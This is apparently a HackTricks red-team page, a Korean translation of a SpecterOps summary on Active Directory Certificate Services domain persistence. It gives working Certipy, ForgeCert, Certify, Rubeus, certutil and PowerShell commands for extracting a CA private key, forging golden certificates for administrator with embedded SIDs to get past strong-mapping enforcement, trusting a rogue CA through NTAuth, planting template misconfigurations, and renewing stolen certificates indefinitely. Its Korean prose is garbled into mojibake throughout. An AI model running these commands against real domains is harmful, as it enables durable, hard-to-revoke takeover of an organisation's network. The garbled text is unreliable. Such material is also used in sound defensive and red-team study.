AD CS λλ©μΈ μ§μμ±
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
μ΄ λ¬Έμλ https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdfμ 곡μ λ λλ©μΈ μ§μμ± κΈ°λ²μ μμ½μ λλ€. μμΈν λ΄μ©μ ν΄λΉ λ¬Έμλ₯Ό νμΈνμΈμ.
λλλΉν CA μΈμ¦μλ‘ μΈμ¦μ μμ‘° (Golden Certificate) - DPERSIST1
μΈμ¦μκ° CA μΈμ¦μμΈμ§ μ΄λ»κ² νμΈν©λκΉ?
λ€μ 쑰건λ€μ΄ μΆ©μ‘±λλ©΄ μΈμ¦μκ° CA μΈμ¦μμμ νλ¨ν μ μμ΅λλ€:
- μΈμ¦μλ CA μλ²μ μ μ₯λλ©°, κ°μΈ ν€λ λ¨Έμ μ DPAPIλ‘ λ³΄νΈλκ±°λ μ΄μ체μ κ° μ§μνλ κ²½μ° TPM/HSMκ³Ό κ°μ νλμ¨μ΄μ μν΄ λ³΄νΈλ©λλ€.
- μΈμ¦μμ Issuer λ° Subject νλκ° CAμ distinguished nameκ³Ό μΌμΉν©λλ€.
- βCA Versionβ νμ₯(extension)μ CA μΈμ¦μμλ§ μ‘΄μ¬ν©λλ€.
- μΈμ¦μμλ Extended Key Usage (EKU) νλκ° μμ΅λλ€.
μ΄ μΈμ¦μμ κ°μΈ ν€λ₯Ό μΆμΆνλ μ§μλλ λ°©λ²μ CA μλ²μμ certsrv.msc λꡬλ₯Ό ν΅ν΄ μ 곡λλ λ΄μ₯ GUIμ λλ€. κ·ΈλΌμλ λΆκ΅¬νκ³ μ΄ μΈμ¦μλ μμ€ν μ μ μ₯λ λ€λ₯Έ μΈμ¦μμ λ€λ₯΄μ§ μμΌλ―λ‘, μΆμΆμλ THEFT2 techniqueμ κ°μ λ°©λ²μ μ μ©ν μ μμ΅λλ€.
μΈμ¦μμ κ°μΈ ν€λ λν Certipyλ₯Ό μ¬μ©νμ¬ λ€μ λͺ λ ΉμΌλ‘ μ»μ μ μμ΅λλ€:
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
CA μΈμ¦μμ ν΄λΉ κ°μΈ ν€λ₯Ό .pfx νμμΌλ‘ ν보ν ν, ForgeCert κ°μ λꡬλ₯Ό μ¬μ©νμ¬ μ ν¨ν μΈμ¦μλ₯Ό μμ±ν μ μμ΅λλ€:
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
# Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
# Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
# Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
Warning
μΈμ¦μ μμ‘°μ λμ μ¬μ©μλ νλ‘μΈμ€κ° μ±κ³΅νλ €λ©΄ Active Directoryμμ νμ± μνμ΄λ©° μΈμ¦ν μ μμ΄μΌ ν©λλ€. krbtgtμ κ°μ νΉμ κ³μ μ λν μΈμ¦μ μμ‘°λ ν¨κ³Όκ° μμ΅λλ€.
μ΄ μμ‘°λ μΈμ¦μλ μ§μ λ μ’
λ£μΌκΉμ§ μ ν¨νλ©° λ£¨νΈ CA μΈμ¦μκ° μ ν¨ν λμ(μΌλ°μ μΌλ‘ 5λ
μμ 10λ
μ΄μ) μ ν¨ν©λλ€. λν λ¨Έμ μλ μ ν¨νλ―λ‘, S4U2Selfμ κ²°ν©νλ©΄ 곡격μλ CA μΈμ¦μκ° μ ν¨ν ν λλ©μΈ λ΄ λͺ¨λ λ¨Έμ μμ μ§μμ±μ μ μ§ν μ μμ΅λλ€.
λν μ΄ λ°©λ²μΌλ‘ μμ±λ μΈμ¦μλ€μ CAκ° μ΄λ₯Ό μΈμ§νμ§ λͺ»νλ―λ‘ μ·¨μλ μ μμ΅λλ€.
κ°λ ₯ν μΈμ¦μ λ§€ν κ°μ ν(2025+) νμμ μλ
2025λ 2μ 11μΌ(KB5014754 λ°°ν¬ ν)λΆν° λλ©μΈ 컨νΈλ‘€λ¬λ μΈμ¦μ λ§€νμ λν΄ κΈ°λ³Έμ μΌλ‘ Full Enforcementλ₯Ό μ¬μ©ν©λλ€. μ€μ λ‘ μ΄λ μμ‘°ν μΈμ¦μκ° λ€μ μ€ νλλ₯Ό λ§μ‘±ν΄μΌ ν¨μ μλ―Έν©λλ€:
- λμ κ³μ μ λν κ°λ ₯ν λ°μΈλ©μ ν¬ν¨(μ: SID security extension), λλ
- λμ κ°μ²΄μ
altSecurityIdentitiesμμ±μ κ°λ ₯νκ³ λͺ μμ μΈ λ§€νμ΄ μ€μ λμ΄μΌ ν¨.
μ§μμ±μ μν μ λ’°ν μ μλ μ κ·Όλ²μ λλλΉν Enterprise CAμ 체μΈλ μμ‘° μΈμ¦μλ₯Ό λ°κΈν λ€μ νΌν΄μ principalμ κ°λ ₯ν λͺ μμ λ§€νμ μΆκ°νλ κ²μ λλ€:
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
$SerialR = '1200000000AC11000000002B' # serial in reversed byte order
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
μ°Έκ³
- SID 보μ νμ₯(SID security extension)μ ν¬ν¨νλ μμ‘° μΈμ¦μλ₯Ό λ§λ€ μ μλ€λ©΄, μ΄λ¬ν μΈμ¦μλ Full Enforcement νμμλ μ묡μ μΌλ‘ λ§€νλ©λλ€. κ·Έλ μ§ μμΌλ©΄ λͺ μμ μ΄κ³ κ°λ ₯ν λ§€νμ μ¬μ©νλ κ²μ΄ μ’μ΅λλ€. λͺ μμ λ§€νμ λν΄μλ account-persistenceλ₯Ό μ°Έμ‘°νμΈμ.
- νκΈ°λ μλΉμμκ² λμμ΄ λμ§ μμ΅λλ€: μμ‘°λ μΈμ¦μλ CA λ°μ΄ν°λ² μ΄μ€μ μλ €μ Έ μμ§ μμΌλ―λ‘ νκΈ°λ μ μμ΅λλ€.
Full-Enforcement νΈν μμ‘° (SID-aware)
μ λ°μ΄νΈλ λꡬλ SIDλ₯Ό μ§μ μ½μ ν μ μκ² ν΄, DCsκ° μ½ν λ§€νμ κ±°λΆν λμλ golden certificatesλ₯Ό κ³μ μ¬μ©ν μ μκ² ν©λλ€:
# Certify 2.0 integrates ForgeCert and can embed SID
Certify.exe forge --ca-pfx CORP-DC-CA.pfx --ca-pass Password123! \
--upn administrator@corp.local --sid S-1-5-21-1111111111-2222222222-3333333333-500 \
--outfile administrator_sid.pfx
# Certipy also supports SID in forged certs
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local \
-sid S-1-5-21-1111111111-2222222222-3333333333-500 -out administrator_sid.pfx
SIDλ₯Ό ν¬ν¨νλ©΄ λͺ¨λν°λ§λ μ μλ altSecurityIdentitiesλ₯Ό 건λλ¦¬μ§ μμλ λλ©΄μλ κ°λ ₯ν λ§€ν κ²μ¬λ₯Ό μΆ©μ‘±ν μ μμ΅λλ€.
μ μ± CA μΈμ¦μ μ λ’°νκΈ° - DPERSIST2
NTAuthCertificates κ°μ²΄λ Active Directory (AD)κ° μ¬μ©νλ cacertificate μμ±μ νλ μ΄μμ CA μΈμ¦μλ₯Ό ν¬ν¨νλλ‘ μ μλμ΄ μμ΅λλ€. domain controllerμ κ²μ¦ κ³Όμ μ μΈμ¦ μ€μΈ μΈμ¦μμ Issuer νλμ μ§μ λ CAμ μΌμΉνλ νλͺ©μ΄ NTAuthCertificates κ°μ²΄μ μλμ§ νμΈνλ κ²μ
λλ€. μΌμΉ νλͺ©μ΄ μμΌλ©΄ μΈμ¦μ΄ μ§νλ©λλ€.
곡격μκ° μ΄ AD κ°μ²΄λ₯Ό μ μ΄ν μ μλ€λ©΄, self-signed CA μΈμ¦μλ₯Ό NTAuthCertificates κ°μ²΄μ μΆκ°ν μ μμ΅λλ€. μΌλ°μ μΌλ‘ μ΄ κ°μ²΄λ₯Ό μμ ν μ μλ κΆνμ Enterprise Admin κ·Έλ£Ήμ ꡬμ±μκ³Ό forest rootβs domainμ Domain Admins λλ Administratorsμκ²λ§ λΆμ¬λ©λλ€. κ·Έλ€μ certutil.exeλ₯Ό μ¬μ©νμ¬ certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA λͺ
λ ΉμΌλ‘ NTAuthCertificates κ°μ²΄λ₯Ό νΈμ§νκ±°λ, PKI Health Toolλ₯Ό μ¬μ©ν μ μμ΅λλ€.
μ΄ κΈ°μ μ μ μ©ν μΆκ° λͺ λ Ή:
# Add/remove and inspect the Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
certutil -enterprise -viewstore NTAuth
certutil -enterprise -delstore NTAuth <Thumbprint>
# (Optional) publish into AD CA containers to improve chain building across the forest
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
μ΄ κΈ°λ₯μ λμ μΌλ‘ μΈμ¦μλ₯Ό μμ±νκΈ° μν΄ μ΄μ μ μ€λͺ ν ForgeCert λ°©λ²κ³Ό ν¨κ» μ¬μ©ν λ νΉν κ΄λ ¨μ΄ μμ΅λλ€.
Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in Full Enforcement, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in
altSecurityIdentities). See AD CS Account Persistence.
μ μμ μλͺ»λ κ΅¬μ± - DPERSIST3
AD CS κ΅¬μ± μμμ λν security descriptor modifications of AD CSλ₯Ό ν΅ν persistence κΈ°νλ νλΆν©λλ€. βDomain Escalationβ μΉμ μ μ€λͺ λ μμ μ κΆνμ΄ μμΉλ 곡격μκ° μ μμ μΌλ‘ ꡬνν μ μμ΅λλ€. μ¬κΈ°μλ λ―Όκ°ν κ΅¬μ± μμμ βcontrol rightsβ(μ: WriteOwner/WriteDACL/λ±)λ₯Ό μΆκ°νλ κ²μ΄ ν¬ν¨λ©λλ€:
- CA serverβs AD computer κ°μ²΄
- CA serverβs RPC/DCOM server
- Any descendant AD object or container in
CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>(for instance, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.) - AD groups delegated rights to control AD CS by default or by the organization (such as the built-in Cert Publishers group and any of its members)
μ
μμ ꡬνμ μλ‘λ λλ©μΈμμ elevated permissionsλ₯Ό κ°μ§ 곡격μκ° κΈ°λ³Έ User μΈμ¦μ ν
νλ¦Ώμ WriteOwner κΆνμ μΆκ°νκ³ , 곡격μλ₯Ό ν΄λΉ κΆνμ μ£Όμ²΄λ‘ μ€μ νλ κ²½μ°κ° μμ΅λλ€. μ΄λ₯Ό μ
μ©νλ €λ©΄ 곡격μλ λ¨Όμ User ν
νλ¦Ώμ μμ μλ₯Ό μμ μΌλ‘ λ³κ²½ν©λλ€. κ·Έ λ€μ ν
νλ¦Ώμμ **mspki-certificate-name-flag**λ₯Ό 1λ‘ μ€μ νμ¬ **ENROLLEE_SUPPLIES_SUBJECT**λ₯Ό νμ±ννλ©΄ μ¬μ©μκ° μμ²μμ Subject Alternative Nameμ μ 곡ν μ μμ΅λλ€. μ΄ν 곡격μλ templateμ μ¬μ©ν΄ enrollνκ³ alternative nameμΌλ‘ domain administrator μ΄λ¦μ μ ννμ¬ νλν μΈμ¦μλ₯Ό DAλ‘μμ μΈμ¦μ μ¬μ©ν μ μμ΅λλ€.
μ₯κΈ° λλ©μΈ persistenceλ₯Ό μν΄ κ³΅κ²©μκ° μ€μ ν μ μλ μ€μ©μ μ€μ (μμΈν λ΄μ© λ° νμ§λ AD CS Domain Escalation μ°Έμ‘°):
- μμ²μ(requesters)λ‘λΆν° SANμ νμ©νλ CA μ μ±
νλκ·Έ (μ:
EDITF_ATTRIBUTESUBJECTALTNAME2νμ±ν). μ΄λ ESC1 μ μ¬ κ²½λ‘λ₯Ό κ³μ μ μ© κ°λ₯νκ² μ μ§ν©λλ€. - μΈμ¦ κ°λ₯ν λ°κΈμ νμ©νλ ν
νλ¦Ώ DACL λλ μ€μ (μ: Client Authentication EKU μΆκ°,
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTνμ±ν). - λ°©μ΄μκ° μ 리λ₯Ό μλν κ²½μ° μ
μ± λ°κΈμλ₯Ό μ§μμ μΌλ‘ μ¬λμ
νκΈ° μν΄
NTAuthCertificatesκ°μ²΄ λλ CA 컨ν μ΄λλ₯Ό μ μ΄.
Tip
In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (
altSecurityIdentities) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping.
μΈμ¦μ κ°±μ λ¨μ© (ESC14) for persistence
authentication-capable certificate(λλ Enrollment Agent μΈμ¦μ)λ₯Ό νμ·¨νλ©΄, λ°κΈ ν νλ¦Ώμ΄ κ³μ κ²μλμ΄ μκ³ κ·νμ CAκ° μ¬μ ν λ°κΈμ 체μΈμ μ λ’°νλ ν ν΄λΉ μΈμ¦μλ₯Ό renew it indefinitely ν μ μμ΅λλ€. κ°±μ μ μλμ μ μ λ°μΈλ©μ μ μ§νλ©΄μ μ ν¨κΈ°κ°μ μ°μ₯νλ―λ‘ ν νλ¦Ώμ΄ μμ λκ±°λ CAκ° μ¬κ²μλμ§ μλ ν ν΄κ±°(eviction)κ° μ΄λ €μμ§λλ€.
# Renew a stolen user cert to extend validity
certipy req -ca CORP-DC-CA -template User -pfx stolen_user.pfx -renew -out user_renewed_2026.pfx
# Renew an on-behalf-of cert issued via an Enrollment Agent
certipy req -ca CORP-DC-CA -on-behalf-of 'CORP/victim' -pfx agent.pfx -renew -out victim_renewed.pfx
λλ©μΈ 컨νΈλ‘€λ¬κ° Full Enforcement μνμΌ κ²½μ°, κ°±μ λ 리ν μΈμ¦μκ° altSecurityIdentitiesλ₯Ό 건λλ¦¬μ§ μκ³ λ κ³μν΄μ κ°ν λ§€νμ μ μ§νλλ‘ -sid <victim SID>λ₯Ό μΆκ°νκ±°λ SID 보μ νμ₯μ ν¬ν¨νλ ν
νλ¦Ώμ μ¬μ©νμΈμ. CA κ΄λ¦¬μ κΆνμ κ°μ§ 곡격μλ λν μ€μ€λ‘ certλ₯Ό λ°κΈνκΈ° μ μ policy\RenewalValidityPeriodUnits κ°μ μ‘°μ νμ¬ κ°±μ λ μ ν¨κΈ°κ°μ λ릴 μ μμ΅λλ€.
References
- Microsoft KB5014754 β Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings)
- Certipy β Command Reference and forge/auth usage
- SpecterOps β Certify 2.0 (integrated forge with SID support)
- ESC14 renewal abuse overview
- 0xdf β HTB: Certificate (SeManageVolumePrivilege to exfil CA keys β Golden Certificate)
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


